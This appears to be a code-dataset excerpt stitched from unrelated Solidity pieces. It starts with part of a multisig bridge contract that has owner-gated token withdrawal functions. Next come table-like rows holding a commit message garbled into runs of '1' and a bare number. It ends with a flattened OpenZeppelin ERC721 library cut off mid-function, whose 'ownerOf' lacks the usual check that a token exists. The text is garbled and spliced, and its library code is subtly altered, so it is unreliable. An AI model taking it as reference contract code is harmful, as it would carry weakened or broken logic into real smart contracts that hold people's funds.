for (uint i = 0; i < managerArray.length; i++) {
if (managers[managerArray[i]] == 1) {
tempManagers[k++] = managerArray[i];
}
}
delete managerArray;
managerArray = tempManagers;
if (_isSeed) {
uint _newLength = seedManagerArray.length - removes.length;
address[] memory _tempManagers = new address[](_newLength);
// 1111111111
uint t = 0;
for (uint i = 0; i < seedManagerArray.length; i++) {
if (seedManagers[seedManagerArray[i]] == 1) {
_tempManagers[t++] = seedManagerArray[i];
}
}
delete seedManagerArray;
seedManagerArray = _tempManagers;
}
}
function addManager(address[] memory adds, bool _isSeed) internal {
if (adds.length == 0) {
return;
}
for (uint i = 0; i < adds.length; i++) {
address add = adds[i];
if(managers[add] == 0) {
managers[add] = 1;
managerArray.push(add);
}
if (_isSeed && seedManagers[add] == 0) {
seedManagers[add] = 1;
seedManagerArray.push(add);
}
}
}
function deletePendingTx(string memory txKey, uint8 e, uint types) internal {
completedTxs[txKey] = e;
if (types == 1) {
delete pendingTxWithdraws[txKey];
} else if (types == 3) {
delete pendingTxUpgrade[txKey];
}
}
function validateTransferERC20(address ERC20, address to, uint256 amount) internal view {
require(to != address(0), "ERC20: transfer to the zero address");
require(address(this) != ERC20, "Do nothing by yourself");
require(ERC20.isContract(), "the address is not a contract address");
IERC20 token = IERC20(ERC20);
uint256 balance = token.balanceOf(address(this));
require(balance >= amount, "No enough balance");
}
function transferERC20(address ERC20, address to, uint256 amount) internal {
IERC20 token = IERC20(ERC20);
uint256 balance = token.balanceOf(address(this));
require(balance >= amount, "No enough balance");
token.safeTransfer(to, amount);
}
function upgradeContractS1() public isOwner {
require(upgrade, "Denied");
address(uint160(owner)).transfer(0);
}
function upgradeContractS2(address ERC20, address to, uint256 amount) public isOwner {
require(upgrade, "Denied");
validateTransferERC20(ERC20, to, amount);
transferERC20(ERC20, to, amount);
}
function isCompletedTx(string memory txKey) public view returns (bool){
return completedTxs[txKey] > 0;
}
function pendingWithdrawTx(string memory txKey) public view returns (address to, uint256 amount, bool isERC20, address ERC20, uint8 signatureCount) {
TxWithdraw storage tx1 = pendingTxWithdraws[txKey];
return (tx1.to, tx1.amount, tx1.isERC20, tx1.ERC20, tx1.signature.signatureCount);
}
function pendingManagerChangeTx(string memory txKey) public view returns (uint8 txCount, string memory key, address[] memory adds, address[] memory removes, uint8 signatureCount) {
TxManagerChange storage tx1 = pendingTxManagerChanges[txKey];
return (tx1.e, txKey, tx1.adds, tx1.removes, tx1.signature.signatureCount);
}
function ifManager(address _manager) public view returns (bool) {
return managers[_manager] == 1;
}
function allManagers() public view returns (address[] memory) {
return managerArray;
}
event DepositFunds(address from, uint amount);
event TransferFunds( address to, uint amount );
event TxWithdrawCompleted( address[] signers, string txKey );
event TxManagerChangeCompleted( address[] signers, string txKey );
event TxUpgradeCompleted( address[] signers, string txKey );
}
|
11111 11111111111111 add managerChange event 111111
|
if (canChange) {
removeManager(tx1.removes, false);
addManager(tx1.adds, false);
current_withdraw_min_signatures = calMinSignatures(managerArray.length);
pendingChangeCount--;
address[] memory signers = getSigners(tx1.signature);
emit TxManagerChangeCompleted(signers, txKey);
deletePendingTx(txKey, tx1.e, 2);
}
| 943,712
|
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// SPDX-License-Identifier: MIT
// pragma abicoder v2;
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId)
external
view
returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator)
external
view
returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length)
internal
pure
returns (string memory)
{
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override
returns (bool)
{
return interfaceId == type(IERC165).interfaceId;
}
}
pragma solidity ^0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(
data
);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
using SafeMath for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
event OperationResult(bool result);
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner)
public
view
virtual
override
returns (uint256)
{
require(
owner != address(0),
"ERC721: balance query for the zero address"
);
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId)
public
view
virtual
override
returns (address)
{
return _owners[tokenId];
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory baseURI = _baseURI();
return
bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId)
public
view
virtual
override
returns (address)
{
require(
_exists(tokenId),
"ERC721: approved query for nonexistent token"
);
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved)
public
virtual
override
{
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId)
internal
view
virtual
returns (bool)
{
require(
_exists(tokenId),
"ERC721: operator query for nonexistent token"
);
address owner = ERC721.ownerOf(tokenId);
return (spender == owner ||
getApproved(tokenId) == spender ||
isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(
ERC721.ownerOf(tokenId) == from,
"ERC721: transfer of token that is not own"
);
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try
IERC721Receiver(to).onERC721Received(
_msgSender(),
from,
tokenId,
_data
)
returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
